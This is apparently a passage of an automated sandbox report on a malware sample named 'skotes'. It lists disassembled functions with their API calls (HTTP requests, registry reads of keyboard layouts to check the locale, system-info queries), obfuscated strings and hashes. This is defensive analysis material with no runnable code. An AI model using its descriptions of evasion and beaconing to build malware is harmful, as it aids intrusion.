Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: 4a685caea44a5f5db30b410343f9c898ddec0c9a1451509ed5160c53173025ee
Instruction ID: a0255d0b4186564fed2611b65129993d8fdc401f90fabd996f27c129143b433a
Opcode Fuzzy Hash: 4a685caea44a5f5db30b410343f9c898ddec0c9a1451509ed5160c53173025ee
Instruction Fuzzy Hash: B7231371E002589BEB19DB28CE8979DBB76AB82304F5481DCE049AB2C2DB755FC4CF51

Function 00AA2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

246122658369, xrefs: 00AA2F78
WGpm, xrefs: 00AA3CC9
", xrefs: 00AA3F89
stoi argument out of range, xrefs: 00AA4359
WX f, xrefs: 00AA3BDE
Hykl, xrefs: 00AA387F
5120, xrefs: 00AA3BAF, 00AA3C9A
Fw==, xrefs: 00AA378E
V2Te, xrefs: 00AA3EB0
WTw=, xrefs: 00AA2F5E
invalid stoi argument, xrefs: 00AA434A

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 74120d2e571559399f63a59314ca28525fbd03f05373c5658f199293fe9dd8e3
Instruction ID: 7bbcd57ef98a802b5297a6a5ecedfdc773a568794fe63d83d1405dc31a60e84f
Opcode Fuzzy Hash: 74120d2e571559399f63a59314ca28525fbd03f05373c5658f199293fe9dd8e3
Instruction Fuzzy Hash: 13720671A00248AFDF18EF78CD8679EBBB5AF46300F54458CF445A72C2D7759B848BA2

Function 00A95EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00A95F13

Strings

00000422, xrefs: 00A960C9
00000419, xrefs: 00A96098
0000043f, xrefs: 00A9612B
Keyboard Layout\Preload, xrefs: 00A96054
00000423, xrefs: 00A960FA

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 6657ed3e564bdde283ae5e93b3e66832d4a60bf15f62555730b315c1f57c2805
Instruction ID: 78f6b0a714539cde0c070f2f27297860de2a67ba6bb0eca82813323517c81f8c
Opcode Fuzzy Hash: 6657ed3e564bdde283ae5e93b3e66832d4a60bf15f62555730b315c1f57c2805
Instruction Fuzzy Hash: 65D1BF71A00258ABEF24DF64CD89BDEB7B9AF05300F5042D8E509E72D1DB749BA48F94

Function 00A97D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00A97ED3

Strings

JjsrQV==, xrefs: 00A98092
JjssOl==, xrefs: 00A9813A
JjssPV==, xrefs: 00A981E2
JjsrPl==, xrefs: 00A9828A

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: adb0c764b8f2c94eabc733b17775bc44e9aaf4d477d3965c4ff0834ef65cf1cd
Instruction ID: 2272a3ff3fc34ff48407d4c44799221d7208f76f7565acc35e8fdfbcf6bce48f
Opcode Fuzzy Hash: adb0c764b8f2c94eabc733b17775bc44e9aaf4d477d3965c4ff0834ef65cf1cd
Instruction Fuzzy Hash: 38E1E671F04244ABDF15FB78CD4B7AE7AA1AB42720F94069CE4156B3C2DB758E8187C2

Function 00A98380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00A98524

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ddec9fc4fae629d0c2de29f03791b78f0d30a45e3286e28ab2e0214a23a4554e
Instruction ID: 3c577fd53893b20cd09841b7b0727cb107b21ad46ad7ecaab898d349defb5d5c
Opcode Fuzzy Hash: ddec9fc4fae629d0c2de29f03791b78f0d30a45e3286e28ab2e0214a23a4554e
Instruction Fuzzy Hash: C1512871E142089BDF24EB78CD49BEDB7B5EF46310F504299E405A72C1DF399E848B91

Function 00ACB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,4C72D30A,?,?,00AAD3FC,4C72D30A,?,00AA7A8B,?,?,?,?,?,?,00A97465,?), ref: 00ACB07E

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 779bc82a20cf9b2862f27255b13635b8b88080d456dc1dd57ea33e38e2f24929
Instruction ID: ab966a8b7e161626e7d2ce3aaf5a21601d9385107318dff584482b92ba906e4a
Opcode Fuzzy Hash: 779bc82a20cf9b2862f27255b13635b8b88080d456dc1dd57ea33e38e2f24929
Instruction Fuzzy Hash: AAE06D35561A2696EA3133698D42FAFA6989B423B1F171228AD24A6590EB23DC0081F0

Function 00AA6C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00AA6CF5

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 13165df5ed23d1216511428309c5aa82988c8a1312ec48a8a261dadfe94dbb87
Instruction ID: b150675d8b66cda57b778905c11352ca2b8ae68b716dc187c83568e19bd4ddca
Opcode Fuzzy Hash: 13165df5ed23d1216511428309c5aa82988c8a1312ec48a8a261dadfe94dbb87
Instruction Fuzzy Hash: DAF0A471E00654BBCB01BBB89E03B6E7BB5EB17760F940758F822672D1EB701A0587D2

Function 05170D56 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2993961256.0000000005170000.00000040.00001000.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5170000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1908124c30d7aeeeecce3f2104e89110d37c82e3ce58157d7bfa8d2f83feeaa7
Instruction ID: a902afc559a459b255a09f1383d99833b5250f494f0da60d8137904a7542ed26
Opcode Fuzzy Hash: 1908124c30d7aeeeecce3f2104e89110d37c82e3ce58157d7bfa8d2f83feeaa7
Instruction Fuzzy Hash: D0E052EF20C3157D7215D595BF28EFB676EE0C5730336C82BF402D5406E7981A8A5631

Function 05170D6B Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2993961256.0000000005170000.00000040.00001000.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5170000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e11b30bd8f720eec826a5d144a809c93ef749bdcb10b9b67ef368740e5b39b
Instruction ID: 0c1c78f08dab2134d871e74e8030e8265ef3d37de1a99f2d2aeedcf22cdf7ae9
Opcode Fuzzy Hash: 61e11b30bd8f720eec826a5d144a809c93ef749bdcb10b9b67ef368740e5b39b
Instruction Fuzzy Hash: F5E0EDFF21D2147DB212D591BF68AFF6B7ED4C5630336882AF401C6406D79D0B8A4632

Function 05170D8B Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2993961256.0000000005170000.00000040.00001000.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5170000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff74de4d040e4cebb603b52806a6f6381a7842f7b78c548a5ad81bd93da1bf09
Instruction ID: 3292ef3507dc65ef2939c88111e560b540c80df0c32bb77abc7667f528e8973f
Opcode Fuzzy Hash: ff74de4d040e4cebb603b52806a6f6381a7842f7b78c548a5ad81bd93da1bf09
Instruction Fuzzy Hash: 6DE08CEF11D2582CB206C2A12E49DFB6B3DC4C223033D893AF401C2802C2885A0E8230

Function 05170DA5 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2993961256.0000000005170000.00000040.00001000.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5170000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830204646671b073b27cbfea4ff09bc6521b479329e9364097fd1cc927671b7f
Instruction ID: 84152b1c9c5010d1b482c716015ee24ef77dfbee773bd30fbf4034bab77e6fe1
Opcode Fuzzy Hash: 830204646671b073b27cbfea4ff09bc6521b479329e9364097fd1cc927671b7f
Instruction Fuzzy Hash: 7BE0C2FB60C3116EB210E6E26A495FFB3BEE9C1230330843EF001C2406EB5919495130

Non-executed Functions

Function 00AD31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00AD3323

Strings

1#QNAN, xrefs: 00AD44C1
1#SNAN, xrefs: 00AD44BA
1#IND, xrefs: 00AD44B3
1#INF, xrefs: 00AD44DE

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: dc95859a191733bab30da296474f96426c110137fd52f08725e61f4526d09bec
Instruction ID: 37861e70d640c1a39104ec89b8863d7e52e64dd65cb055e8389c039fdd03780d
Opcode Fuzzy Hash: dc95859a191733bab30da296474f96426c110137fd52f08725e61f4526d09bec
Instruction Fuzzy Hash: 4AC20772E046288BDF25CF28DD407EAB7B5EB48345F1441EAD84EA7340E779AE858F41

Function 00AD2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 7f47fd1d63d86c59acdeb28cb291f7049072b03cf52a18be6bc4fe7411d65721
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 34F12F72E012199FDF14CFA9C9807ADBBB1FF58314F15826AE916AB344D731AE41CB90

Function 00AACBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00AACF52,?,?,?,?,00AACF87,?,?,?,?,?,?,00AAC4FD,?,00000001), ref: 00AACC03

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 66e1fe89174cc07fefbfba4f0c8e73b9ec5a7146971549ba55a0ffac77bea1b9
Instruction ID: 4b5d5d7cbd263395d5841b1cbe2a357280944795be09d2d7320b0124e6dda690
Opcode Fuzzy Hash: 66e1fe89174cc07fefbfba4f0c8e73b9ec5a7146971549ba55a0ffac77bea1b9
Instruction Fuzzy Hash: 41D02232A02038A3CA023FD4EC089ACBBD8CE06B703020111EB0C1B120CB506C618BD4

Function 00AC7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00AC80B2

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: a6c9345546d1a58ac933c5de823e7ac00d10873b68fe58f9b7d7eb630941f701
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 945170306086485ADB384B2C89D5FBE67EABF12304F16051DE443D7291CE5A9D4DCB92

Function 00A94DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

